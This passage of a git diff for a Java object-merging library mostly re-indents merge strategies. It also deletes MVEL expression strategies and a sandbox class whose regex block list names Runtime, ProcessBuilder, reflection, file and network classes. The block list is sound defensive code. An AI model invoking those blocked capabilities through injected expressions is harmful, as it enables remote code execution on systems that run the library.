de.x132.objectmerger.registry.StrategyRegistry; -import de.x132.objectmerger.strategy.FieldDefinition; -import de.x132.objectmerger.strategy.MergeStrategy; -import de.x132.objectmerger.strategy.config.ConditionalConfig; -import de.x132.objectmerger.strategy.mvel.MvelSandbox; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import lombok.extern.slf4j.Slf4j; -import org.mvel2.MVEL; - -@Slf4j -public class ConditionalMergeStrategy - implements MergeStrategy> { - - public static final String NAME = "conditional"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) ConditionalFieldDefinition.class; - } - - @Override - @SuppressWarnings("unchecked") - public T merge( - List> sources, ConditionalFieldDefinition fieldDef, String fieldName) { - return (T) mergeInternal(sources, fieldDef, fieldName); - } - - private Object mergeInternal( - List> sources, ConditionalConfig fieldDef, String fieldName) { - - Map context = new HashMap<>(); - context.put("sources", sources); - Map values = new HashMap<>(); - for (LabeledSource s : sources) { - values.put(s.getLabel(), ObjectMerger.getFieldValue(s.getSource(), fieldName)); - } - context.put("values", values); - - if (fieldDef.getCases() != null) { - MvelSandbox.validateContextVariables(context); - - for (ConditionCase c : fieldDef.getCases()) { - try { - MvelSandbox.validateExpression(c.getCondition()); - - Object result = - MVEL.executeExpression( - MVEL.compileExpression( - c.getCondition(), MvelSandbox.createSandboxedParserContext()), - context); - if (Boolean.TRUE.equals(result)) { - log.debug("Condition '{}' matched for field '{}'", c.getCondition(), fieldName); - return executeSubStrategy(c.getUseStrategy(), sources, fieldName); - } - } catch (SecurityException securityException) { - log.error( - "MVEL sandbox violation for field '{}': {}", - fieldName, - securityException.getMessage()); - throw securityException; - } catch (Exception e) { - log.warn("Failed to evaluate condition '{}': {}", c.getCondition(), e.getMessage()); - } - } - } - - if (fieldDef.getDefaultStrategy() != null) { - log.debug("No condition matched for field '{}', using default strategy", fieldName); - return executeSubStrategy(fieldDef.getDefaultStrategy(), sources, fieldName); - } - - return null; - } - - @SuppressWarnings({"rawtypes", "unchecked"}) - private Object executeSubStrategy( - FieldDefinition def, List> sources, String fieldName) { - String strategyName = def.getStrategy() != null ? def.getStrategy() : "standard"; - MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); - - if (strategy == null) { - throw new ConfigurationException("Unknown strategy in conditional case: " + strategyName); - } - - return strategy.merge(sources, def, fieldName); - } -} diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ConditionalConfig.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ConditionalConfig.java index 00545c0..1ee4c17 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ConditionalConfig.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ConditionalConfig.java @@ -5,7 +5,7 @@ import java.util.List; public interface ConditionalConfig { - List> getCases(); + List> getCases(); - FieldDefinition getDefaultStrategy(); + FieldDefinition getDefaultStrategy(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Defaultable.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Defaultable.java index 88cfba5..bd8250d 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Defaultable.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Defaultable.java @@ -1,5 +1,5 @@ package de.x132.objectmerger.strategy.config; public interface Defaultable { - T getDefaultValue(); + T getDefaultValue(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ListConfig.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ListConfig.java index e2db70b..1977b2c 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ListConfig.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/ListConfig.java @@ -4,13 +4,13 @@ import java.util.List; public interface ListConfig { - boolean isDeduplicate(); + boolean isDeduplicate(); - String getIdentifyBy(); + String getIdentifyBy(); - ItemMergeDefinition getItemMergeDefinition(); + ItemMergeDefinition getItemMergeDefinition(); - List getKeyOriginLabels(); + List getKeyOriginLabels(); - boolean isRequirePresenceInAllKeyOrigins(); + boolean isRequirePresenceInAllKeyOrigins(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/MvelConfig.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/MvelConfig.java index bdfc567..c311225 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/MvelConfig.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/MvelConfig.java @@ -1,5 +1,5 @@ package de.x132.objectmerger.strategy.config; public interface MvelConfig { - String getExpression(); + String getExpression(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Prioritizable.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Prioritizable.java index 4144e3c..cec916d 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Prioritizable.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/config/Prioritizable.java @@ -3,5 +3,5 @@ import java.util.Map; public interface Prioritizable { - Map getPriority(); + Map getPriority(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListFieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListFieldDefinition.java index 967c7ab..78fca6e 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListFieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListFieldDefinition.java @@ -16,9 +16,9 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class ListFieldDefinition extends FieldDefinition implements ListConfig { - private boolean deduplicate; - private String identifyBy; - private ItemMergeDefinition itemMergeDefinition; - private List keyOriginLabels; - private boolean requirePresenceInAllKeyOrigins; + private boolean deduplicate; + private String identifyBy; + private ItemMergeDefinition itemMergeDefinition; + private List keyOriginLabels; + private boolean requirePresenceInAllKeyOrigins; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListMergeStrategy.java index 057d7f3..e883794 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListMergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/list/ListMergeStrategy.java @@ -15,123 +15,144 @@ import java.util.stream.Stream; public class ListMergeStrategy - implements MergeStrategy, ListFieldDefinition>> { - - public static final String NAME = "mergeList"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class>> getConfigurationClass() { - return (Class) ListFieldDefinition.class; - } - - @SuppressWarnings("unchecked") - @Override - public List merge( - List> sources, - ListFieldDefinition> fieldDef, - String fieldName) { - return (List) mergeInternal(sources, fieldDef, fieldName); - } - - private Object mergeInternal( - List> sources, ListConfig fieldDef, String fieldName) { - - Map>> groupedBy = - sources.stream() - .flatMap( - source -> { - Object val = ObjectMerger.getFieldValue(source.getSource(), fieldName); - if (!(val instanceof Collection)) { - return Stream.empty(); - } - Collection collection = (Collection) val; - return collection.stream() - .map(item -> new LabeledSource(source.getLabel(), item)); - }) - .collect( - Collectors.groupingBy( - labeledSource -> - ObjectMerger.getFieldValue( - labeledSource.getSource(), fieldDef.getIdentifyBy()), - Collectors.toList())); - - if (fieldDef.getKeyOriginLabels() != null && !fieldDef.getKeyOriginLabels().isEmpty()) { - groupedBy - .entrySet() - .removeIf( - entry -> { - List> sourcesForId = entry.getValue(); - - if (fieldDef.isRequirePresenceInAllKeyOrigins()) { - return !fieldDef.getKeyOriginLabels().stream() - .allMatch( - requiredLabel -> - sourcesForId.stream() - .anyMatch(s -> requiredLabel.equals(s.getLabel()))); - } else { - return sourcesForId.stream() - .noneMatch(s -> fieldDef.getKeyOriginLabels().contains(s.getLabel())); - } - }); + implements MergeStrategy, ListFieldDefinition>> { + + public static final String NAME = "mergeList"; + + @Override + public String getName() { + return NAME; + } + + @SuppressWarnings("unchecked") + @Override + public Class>> getConfigurationClass() { + return (Class) ListFieldDefinition.class; } - return groupedBy.values().stream() - .map( - items -> { - try { - if (fieldDef.getItemMergeDefinition() != null - && fieldDef.getItemMergeDefinition().getTargetClass() != null) { - Class itemClass = - Class.forName(fieldDef.getItemMergeDefinition().getTargetClass()); - return doMerge(itemClass, fieldDef, items); - } else if (items.stream().allMatch(i -> i.getSource() instanceof Map)) { - return doMapMerge(fieldDef, items); - } else { - throw new ConfigurationException( - "Cannot merge list items: missing target class in definition and items are not Maps."); - } - } catch (ClassNotFoundException e) { - throw new MergeExecutionException("Failed to merge list items", e); - } - }) - .collect(Collectors.toList()); - } - - @SuppressWarnings("unchecked") - private T doMerge(Class itemClass, ListConfig fieldDef, List> items) { - LabeledSource[] sources = - items.stream() - .map(item -> new LabeledSource(item.getLabel(), (T) item.getSource())) - .toArray(LabeledSource[]::new); - return ObjectMerger.merge( - itemClass, ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), sources); - } - - @SuppressWarnings("unchecked") - private Map doMapMerge(ListConfig fieldDef, List> items) { - - MergeDefinition def = - (fieldDef.getItemMergeDefinition() != null) - ? ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()) - : new MergeDefinition(); - if (def.getDefinitions() == null) { - def.setDefinitions(new HashMap<>()); + @SuppressWarnings("unchecked") + @Override + public List merge( + List> sources, + ListFieldDefinition> fieldDef, + String fieldName) { + return (List) mergeInternal(sources, fieldDef, fieldName); } - LabeledSource>[] sources = - items.stream() - .map( - item -> - new LabeledSource>( - item.getLabel(), (Map) item.getSource())) - .toArray(LabeledSource[]::new); + private Object mergeInternal( + List> sources, ListConfig fieldDef, String fieldName) { + + Map>> groupedBy = + sources.stream() + .flatMap( + source -> { + Object val = + ObjectMerger.getFieldValue( + source.getSource(), fieldName); + if (!(val instanceof Collection)) { + return Stream.empty(); + } + Collection collection = (Collection) val; + return collection.stream() + .map( + item -> + new LabeledSource( + source.getLabel(), item)); + }) + .collect( + Collectors.groupingBy( + labeledSource -> + ObjectMerger.getFieldValue( + labeledSource.getSource(), + fieldDef.getIdentifyBy()), + Collectors.toList())); + + if (fieldDef.getKeyOriginLabels() != null && !fieldDef.getKeyOriginLabels().isEmpty()) { + groupedBy + .entrySet() + .removeIf( + entry -> { + List> sourcesForId = entry.getValue(); + + if (fieldDef.isRequirePresenceInAllKeyOrigins()) { + return !fieldDef.getKeyOriginLabels().stream() + .allMatch( + requiredLabel -> + sourcesForId.stream() + .anyMatch( + s -> + requiredLabel + .equals( + s + .getLabel()))); + } else { + return sourcesForId.stream() + .noneMatch( + s -> + fieldDef.getKeyOriginLabels() + .contains(s.getLabel())); + } + }); + } + + return groupedBy.values().stream() + .map( + items -> { + try { + if (fieldDef.getItemMergeDefinition() != null + && fieldDef.getItemMergeDefinition().getTargetClass() + != null) { + Class itemClass = + Class.forName( + fieldDef.getItemMergeDefinition() + .getTargetClass()); + return doMerge(itemClass, fieldDef, items); + } else if (items.stream() + .allMatch(i -> i.getSource() instanceof Map)) { + return doMapMerge(fieldDef, items); + } else { + throw new ConfigurationException( + "Cannot merge list items: missing target class in definition and items are not Maps."); + } + } catch (ClassNotFoundException e) { + throw new MergeExecutionException("Failed to merge list items", e); + } + }) + .collect(Collectors.toList()); + } + + @SuppressWarnings("unchecked") + private T doMerge(Class itemClass, ListConfig fieldDef, List> items) { + LabeledSource[] sources = + items.stream() + .map(item -> new LabeledSource(item.getLabel(), (T) item.getSource())) + .toArray(LabeledSource[]::new); + return ObjectMerger.merge( + itemClass, + ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), + sources); + } - return ObjectMerger.merge(def, sources); - } + @SuppressWarnings("unchecked") + private Map doMapMerge(ListConfig fieldDef, List> items) { + + MergeDefinition def = + (fieldDef.getItemMergeDefinition() != null) + ? ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()) + : new MergeDefinition(); + if (def.getDefinitions() == null) { + def.setDefinitions(new HashMap<>()); + } + + LabeledSource>[] sources = + items.stream() + .map( + item -> + new LabeledSource>( + item.getLabel(), + (Map) item.getSource())) + .toArray(LabeledSource[]::new); + + return ObjectMerger.merge(def, sources); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapFieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapFieldDefinition.java index 190b3b6..13ab9b1 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapFieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapFieldDefinition.java @@ -15,7 +15,7 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class MapFieldDefinition extends FieldDefinition { - private String keyStrategy; - private List keyTemplateSources; - private ItemMergeDefinition itemMergeDefinition; + private String keyStrategy; + private List keyTemplateSources; + private ItemMergeDefinition itemMergeDefinition; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapMergeStrategy.java index d10654c..d2f3dae 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapMergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/map/MapMergeStrategy.java @@ -12,123 +12,132 @@ import java.util.Set; public class MapMergeStrategy - implements MergeStrategy, MapFieldDefinition>> { - - public static final String NAME = "mergeMap"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class>> getConfigurationClass() { - return (Class) MapFieldDefinition.class; - } - - @Override - public Map merge( - List> sources, - MapFieldDefinition> fieldDef, - String fieldName) { - if (sources.isEmpty()) { - return new HashMap<>(); - } - - // fieldDef is already MapFieldDefinition, no cast needed. - - // 1. Determine the set of keys to include in the result - Set targetKeys = new HashSet<>(); - - if (fieldDef.getKeyTemplateSources() != null && !fieldDef.getKeyTemplateSources().isEmpty()) { - // Template Mode: Only use keys from specified sources - for (String label : fieldDef.getKeyTemplateSources()) { - sources.stream() - .filter(s -> s.getLabel().equals(label)) - .findFirst() - .ifPresent( - source -> { - @SuppressWarnings("unchecked") - Map sourceMap = - (Map) - ObjectMerger.getFieldValue(source.getSource(), fieldName); - if (sourceMap != null) { - targetKeys.addAll(sourceMap.keySet()); - } - }); - } - } else { - // Default Mode (Union): Use keys from ALL sources - for (LabeledSource source : sources) { - @SuppressWarnings("unchecked") - Map sourceMap = - (Map) ObjectMerger.getFieldValue(source.getSource(), fieldName); - if (sourceMap != null) { - targetKeys.addAll(sourceMap.keySet()); - } - } - } + implements MergeStrategy, MapFieldDefinition>> { - Map mergedMap = new HashMap<>(); + public static final String NAME = "mergeMap"; - // 2. Iterate over determined keys and match values from all sources - for (Object key : targetKeys) { - List> valuesForKey = new ArrayList<>(); + @Override + public String getName() { + return NAME; + } - // Collect values for this key from ALL sources - for (LabeledSource source : sources) { - @SuppressWarnings("unchecked") - Map sourceMap = - (Map) ObjectMerger.getFieldValue(source.getSource(), fieldName); + @SuppressWarnings("unchecked") + @Override + public Class>> getConfigurationClass() { + return (Class) MapFieldDefinition.class; + } - if (sourceMap != null && sourceMap.containsKey(key)) { - Object value = sourceMap.get(key); - valuesForKey.add(new LabeledSource<>(source.getLabel(), value)); + @Override + public Map merge( + List> sources, + MapFieldDefinition> fieldDef, + String fieldName) { + if (sources.isEmpty()) { + return new HashMap<>(); } - } - - if (fieldDef.getItemMergeDefinition() != null) { - // Merge the values using itemMergeDefinition - try { - Class valueClass = Class.forName(fieldDef.getItemMergeDefinition().getTargetClass()); - Object mergedValue = doMerge(valueClass, fieldDef, valuesForKey); - mergedMap.put(key, mergedValue); - } catch (ClassNotFoundException e) { - throw new MergeExecutionException("Failed to merge map values", e); + + // fieldDef is already MapFieldDefinition, no cast needed. + + // 1. Determine the set of keys to include in the result + Set targetKeys = new HashSet<>(); + + if (fieldDef.getKeyTemplateSources() != null + && !fieldDef.getKeyTemplateSources().isEmpty()) { + // Template Mode: Only use keys from specified sources + for (String label : fieldDef.getKeyTemplateSources()) { + sources.stream() + .filter(s -> s.getLabel().equals(label)) + .findFirst() + .ifPresent( + source -> { + @SuppressWarnings("unchecked") + Map sourceMap = + (Map) + ObjectMerger.getFieldValue( + source.getSource(), fieldName); + if (sourceMap != null) { + targetKeys.addAll(sourceMap.keySet()); + } + }); + } + } else { + // Default Mode (Union): Use keys from ALL sources + for (LabeledSource source : sources) { + @SuppressWarnings("unchecked") + Map sourceMap = + (Map) + ObjectMerger.getFieldValue(source.getSource(), fieldName); + if (sourceMap != null) { + targetKeys.addAll(sourceMap.keySet()); + } + } } - } else { - // If no itemMergeDefinition, just use the first value (priority) - if (!valuesForKey.isEmpty()) { - mergedMap.put(key, valuesForKey.get(0).getSource()); + + Map mergedMap = new HashMap<>(); + + // 2. Iterate over determined keys and match values from all sources + for (Object key : targetKeys) { + List> valuesForKey = new ArrayList<>(); + + // Collect values for this key from ALL sources + for (LabeledSource source : sources) { + @SuppressWarnings("unchecked") + Map sourceMap = + (Map) + ObjectMerger.getFieldValue(source.getSource(), fieldName); + + if (sourceMap != null && sourceMap.containsKey(key)) { + Object value = sourceMap.get(key); + valuesForKey.add(new LabeledSource<>(source.getLabel(), value)); + } + } + + if (fieldDef.getItemMergeDefinition() != null) { + // Merge the values using itemMergeDefinition + try { + Class valueClass = + Class.forName(fieldDef.getItemMergeDefinition().getTargetClass()); + Object mergedValue = doMerge(valueClass, fieldDef, valuesForKey); + mergedMap.put(key, mergedValue); + } catch (ClassNotFoundException e) { + throw new MergeExecutionException("Failed to merge map values", e); + } + } else { + // If no itemMergeDefinition, just use the first value (priority) + if (!valuesForKey.isEmpty()) { + mergedMap.put(key, valuesForKey.get(0).getSource()); + } + } } - } + + return mergedMap; } - return mergedMap; - } - - @SuppressWarnings("unchecked") - private T doMerge( - Class valueClass, MapFieldDefinition fieldDef, List> values) { - if (Map.class.isAssignableFrom(valueClass)) { - LabeledSource>[] sources = - values.stream() - .map( - item -> - new LabeledSource>( - item.getLabel(), (Map) item.getSource())) - .toArray(LabeledSource[]::new); - return (T) - ObjectMerger.merge( - ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), sources); + @SuppressWarnings("unchecked") + private T doMerge( + Class valueClass, MapFieldDefinition fieldDef, List> values) { + if (Map.class.isAssignableFrom(valueClass)) { + LabeledSource>[] sources = + values.stream() + .map( + item -> + new LabeledSource>( + item.getLabel(), + (Map) item.getSource())) + .toArray(LabeledSource[]::new); + return (T) + ObjectMerger.merge( + ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), + sources); + } + LabeledSource[] sources = + values.stream() + .map(item -> new LabeledSource(item.getLabel(), (T) item.getSource())) + .toArray(LabeledSource[]::new); + + return ObjectMerger.merge( + valueClass, + ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), + sources); } - LabeledSource[] sources = - values.stream() - .map(item -> new LabeledSource(item.getLabel(), (T) item.getSource())) - .toArray(LabeledSource[]::new); - - return ObjectMerger.merge( - valueClass, ObjectMerger.toMergeDefinition(fieldDef.getItemMergeDefinition()), sources); - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategy.java index 1afd070..e1f4fbb 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategy.java @@ -10,42 +10,44 @@ public class MaximumValueStrategy implements MergeStrategy> { - public static final String NAME = "maximum"; + public static final String NAME = "maximum"; - @Override - public String getName() { - return NAME; - } + @Override + public String getName() { + return NAME; + } - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; + } - @SuppressWarnings({"unchecked", "rawtypes"}) - @Override - public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { - return (T) - sources.stream() - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .max( - (o1, o2) -> { - if (o1 instanceof Number && o2 instanceof Number) { - return Double.compare(((Number) o1).doubleValue(), ((Number) o2).doubleValue()); - } - if (o1 instanceof Comparable && o2 instanceof Comparable) { - return ((Comparable) o1).compareTo(o2); - } - throw new InvalidSourceException( - "Field " - + fieldName - + " values must be Numbers or Comparable for maximum strategy, but found: " - + o1.getClass().getSimpleName() - + " and " - + o2.getClass().getSimpleName()); - }) - .orElse(fieldDef.getDefaultValue()); - } + @SuppressWarnings({"unchecked", "rawtypes"}) + @Override + public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { + return (T) + sources.stream() + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .max( + (o1, o2) -> { + if (o1 instanceof Number && o2 instanceof Number) { + return Double.compare( + ((Number) o1).doubleValue(), + ((Number) o2).doubleValue()); + } + if (o1 instanceof Comparable && o2 instanceof Comparable) { + return ((Comparable) o1).compareTo(o2); + } + throw new InvalidSourceException( + "Field " + + fieldName + + " values must be Numbers or Comparable for maximum strategy, but found: " + + o1.getClass().getSimpleName() + + " and " + + o2.getClass().getSimpleName()); + }) + .orElse(fieldDef.getDefaultValue()); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategy.java index eaeb31c..2015bb6 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategy.java @@ -10,42 +10,44 @@ public class MinimumValueStrategy implements MergeStrategy> { - public static final String NAME = "minimum"; + public static final String NAME = "minimum"; - @Override - public String getName() { - return NAME; - } + @Override + public String getName() { + return NAME; + } - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; + } - @SuppressWarnings({"unchecked", "rawtypes"}) - @Override - public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { - return (T) - sources.stream() - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .min( - (o1, o2) -> { - if (o1 instanceof Number && o2 instanceof Number) { - return Double.compare(((Number) o1).doubleValue(), ((Number) o2).doubleValue()); - } - if (o1 instanceof Comparable && o2 instanceof Comparable) { - return ((Comparable) o1).compareTo(o2); - } - throw new InvalidSourceException( - "Field " - + fieldName - + " values must be Numbers or Comparable for minimum strategy, but found: " - + o1.getClass().getSimpleName() - + " and " - + o2.getClass().getSimpleName()); - }) - .orElse(fieldDef.getDefaultValue()); - } + @SuppressWarnings({"unchecked", "rawtypes"}) + @Override + public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { + return (T) + sources.stream() + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .min( + (o1, o2) -> { + if (o1 instanceof Number && o2 instanceof Number) { + return Double.compare( + ((Number) o1).doubleValue(), + ((Number) o2).doubleValue()); + } + if (o1 instanceof Comparable && o2 instanceof Comparable) { + return ((Comparable) o1).compareTo(o2); + } + throw new InvalidSourceException( + "Field " + + fieldName + + " values must be Numbers or Comparable for minimum strategy, but found: " + + o1.getClass().getSimpleName() + + " and " + + o2.getClass().getSimpleName()); + }) + .orElse(fieldDef.getDefaultValue()); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java deleted file mode 100644 index a28351d..0000000 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java +++ /dev/null @@ -1,76 +0,0 @@ -package de.x132.objectmerger.strategy.mvel; - -import de.x132.objectmerger.LabeledSource; -import de.x132.objectmerger.strategy.MergeStrategy; -import de.x132.objectmerger.strategy.config.MvelConfig; -import java.io.Serializable; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import lombok.extern.slf4j.Slf4j; -import org.mvel2.MVEL; - -@Slf4j -public class MvelMergeStrategy implements MergeStrategy { - - public static final String NAME = "mvel"; - - @Override - public String getName() { - return NAME; - } - - @Override - public Class getConfigurationClass() { - return MvelFieldDefinition.class; - } - - @Override - public Object merge( - List> sources, MvelFieldDefinition fieldDef, String fieldName) { - return merge(sources, (MvelConfig) fieldDef, fieldName, fieldDef.getDefaultValue()); - } - - private Object merge( - List> sources, MvelConfig fieldDef, String fieldName, Object defaultValue) { - if (fieldDef == null - || fieldDef.getExpression() == null - || fieldDef.getExpression().isEmpty()) { - log.warn("MVEL strategy invoked for field '{}' but no expression provided.", fieldName); - return defaultValue; - } - - try { - MvelSandbox.validateExpression(fieldDef.getExpression()); - - Serializable compiledExpression = - MVEL.compileExpression( - fieldDef.getExpression(), MvelSandbox.createSandboxedParserContext()); - Map context = prepareContext(sources); - context.put("labeledSources", sources); - - MvelSandbox.validateContextVariables(context); - - return MVEL.executeExpression(compiledExpression, context); - } catch (SecurityException securityException) { - log.error( - "MVEL sandbox violation for field '{}': {}", fieldName, securityException.getMessage()); - throw securityException; - } catch (Exception e) { - log.error("Error executing MVEL expression for field '{}': {}", fieldName, e.getMessage()); - return defaultValue; - } - } - - private Map prepareContext(List> sources) { - Map simpleSources = new HashMap<>(); - Map context = new HashMap<>(); - - for (LabeledSource source : sources) { - simpleSources.put(source.getLabel(), source.getSource()); - } - - context.put("sources", simpleSources); - return context; - } -} diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java deleted file mode 100644 index 130af4a..0000000 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java +++ /dev/null @@ -1,124 +0,0 @@ -package de.x132.objectmerger.strategy.mvel; - -import java.util.Map; -import java.util.regex.Pattern; -import org.mvel2.ParserContext; - -public final class MvelSandbox { - - private static final Pattern[] BLOCKED_EXPRESSION_PATTERNS = { - Pattern.compile("(?i).*\\bRuntime\\b.*"), - Pattern.compile("(?i).*\\bProcessBuilder\\b.*"), - Pattern.compile("(?i).*\\bProcess\\b.*"), - Pattern.compile("(?i).*\\bSystem\\b.*"), - Pattern.compile("(?i).*\\bClassLoader\\b.*"), - Pattern.compile("(?i).*\\bClass\\b.*"), - Pattern.compile("(?i).*\\bjava\\.lang\\.reflect\\b.*"), - Pattern.compile("(?i).*\\bMethod\\b.*"), - Pattern.compile("(?i).*\\bField\\b.*"), - Pattern.compile("(?i).*\\bConstructor\\b.*"), - Pattern.compile("(?i).*\\bjava\\.io\\b.*"), - Pattern.compile("(?i).*\\bjava\\.nio\\b.*"), - Pattern.compile("(?i).*\\bFile\\b.*"), - Pattern.compile("(?i).*\\bFileInputStream\\b.*"), - Pattern.compile("(?i).*\\bFileOutputStream\\b.*"), - Pattern.compile("(?i).*\\bFileReader\\b.*"), - Pattern.compile("(?i).*\\bFileWriter\\b.*"), - Pattern.compile("(?i).*\\bjava\\.net\\b.*"), - Pattern.compile("(?i).*\\bSocket\\b.*"), - Pattern.compile("(?i).*\\bURL\\b.*"), - Pattern.compile("(?i).*\\bHttpURLConnection\\b.*"), - Pattern.compile("(?i).*\\bScriptEngine\\b.*"), - Pattern.compile("(?i).*\\bjavax\\.script\\b.*"), - Pattern.compile("(?i).*\\bThread\\b.*"), - Pattern.compile("(?i).*\\bThreadGroup\\b.*"), - }; - - private static final Pattern NEW_OBJECT_CREATION_PATTERN = Pattern.compile("\\bnew\\s+[A-Z]"); - - private static final String[] BLOCKED_DANGEROUS_CLASSES = { - "java.lang.Runtime", - "java.lang.Process", - "java.lang.Thread", - "java.io.", - "java.net.", - "java.lang.reflect." - }; - - private MvelSandbox() {} - - public static ParserContext createSandboxedParserContext() { - ParserContext parserContext = new ParserContext(); - parserContext.setStrictTypeEnforcement(false); - parserContext.setStrongTyping(false); - return parserContext; - } - - public static void validateExpression(String expression) { - if (expression == null || expression.isEmpty()) { - return; - } - - rejectBlockedPatterns(expression); - rejectReflectionAccess(expression); - rejectObjectCreation(expression); - } - - public static void validateContextVariables(Map context) { - if (context == null) { - return; - } - - for (Map.Entry entry : context.entrySet()) { - Object value = entry.getValue(); - if (value == null) { - continue; - } - rejectDangerousContextObject(entry.getKey(), value); - } - } - - private static void rejectBlockedPatterns(String expression) { - for (Pattern pattern : BLOCKED_EXPRESSION_PATTERNS) { - if (pattern.matcher(expression).find()) { - throw new SecurityException( - "MVEL expression blocked by sandbox: references to '" - + pattern.pattern() - + "' are not allowed. Expression: " - + expression); - } - } - } - - private static void rejectReflectionAccess(String expression) { - if (expression.contains(".getClass(") - || expression.contains(".class") - || expression.contains("forName(") - || expression.contains("newInstance(")) { - throw new SecurityException( - "MVEL expression blocked by sandbox: reflection-style access is not allowed. Expression: " - + expression); - } - } - - private static void rejectObjectCreation(String expression) { - if (NEW_OBJECT_CREATION_PATTERN.matcher(expression).find()) { - throw new SecurityException( - "MVEL expression blocked by sandbox: 'new' object creation is not allowed. Expression: " - + expression); - } - } - - private static void rejectDangerousContextObject(String variableName, Object value) { - String className = value.getClass().getName(); - for (String blockedPrefix : BLOCKED_DANGEROUS_CLASSES) { - if (className.startsWith(blockedPrefix)) { - throw new SecurityException( - "MVEL sandbox violation: context variable '" - + 